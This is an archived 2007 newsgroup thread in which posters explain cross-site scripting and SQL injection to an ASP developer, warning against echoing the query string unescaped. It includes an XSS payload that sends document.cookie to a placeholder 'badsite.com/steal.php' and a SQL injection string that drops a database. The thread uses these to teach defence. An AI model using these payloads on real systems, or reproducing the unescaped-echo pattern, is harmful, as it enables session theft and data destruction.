Evertjan. said:
http://en.wikipedia.org/wiki/Cross_site_scripting
shimmyshack wrote on 18 nov 2007 in comp.lang.javascript:
No, cookies live on the client. So the client is free to see them.
Taking this example, suppose you would print in a script '404.asp':
<% = request.serverVariables("QUERY_STRING") %>
And if you would follow a link like this (URL-decoded for readability,
one line):
404.asp?<script>window.location.href='
http://www.badsite.
com/steal.php'+document.cookie</script>
Then
http://www.badsite.com/steal.php knows your cookie of the other
domain.
So XSS is simply badly thought and written code?
Basically, yes; but it's not that simple. A coder may be unaware of
the consequences of what he's doing. Or the web server might not
correctly parse the offered data. Or the application. Or the libs that
he's using. Typically, beginning coders are easily trapped in opening
XSS security holes.
Why do "cross site scripting" at all without adaequate defensive
measures?
My example?????????
Well, the original poster asked for a way to know on which page the
surfer is when he encounters a 404-error. And you replied with an ASP
solution:
Error page: <% = request.serverVariables("QUERY_STRING") %>
Of course this would work fine; but shimmyshack's objection is well-
grounded, I'm afraid.
Who wants to redirect something, the server?
The attacker would want to force the server for a reload. But I don't
think shimmyshack is right in regard to the Location-header in this
particular example. You have passed the point of the headers here; you
are in the body of the server response already. Even if a malformed
%0D/%0A/%0D%0A would be decoded as newline, that could not cause any
problems in this case.
By user agent you mean the browser?
Yes.
Why not send the requested page in the first place, dear server?
What code injected into wat?
In the querystring (but it might as well be in the body of a POST-
request).
Which servers? and which are not?
http://en.wikipedia.org/wiki/HTTP_response_splitting
Ah, now we are talking about a "value"?
I suppose you mean a string!
And you want to insert that string into an sql string?
Sure. For instance, say that
http://www.site.com/find.asp?id=4
gives you a web page with the details of article id 4, using
SELECT * FROM article WHERE id='4'
If an attacker does
http://www.site.com/find.asp?id=4'; DROP DATABASE
db
then you'll have a problem since the following query is then executed:
SELECT * FROM article WHERE id='4'; DROP DATABASE db
This is probably the most simple form, there are many more
possibilities:
http://en.wikipedia.org/wiki/SQL_injection
Why didn't you say so in the first place?
We have no problems with that: either use Bob's methods or do a
intelligent input validation on all incoming strings.
I'm afraid this is an oversimplification. In a simple scenario,
validation can be impermeable with little effort indeed (like e.g.
expecting a number, alphanumeric string, valid email address...). But
an URL is already a bit harder. You can send a syntactically valid URL
which isn't safe. It all depends how web server and/or application
decode the querystring and what is the final result of it. And if
you're encoding your URL in UTF-8, it will be even more hard.
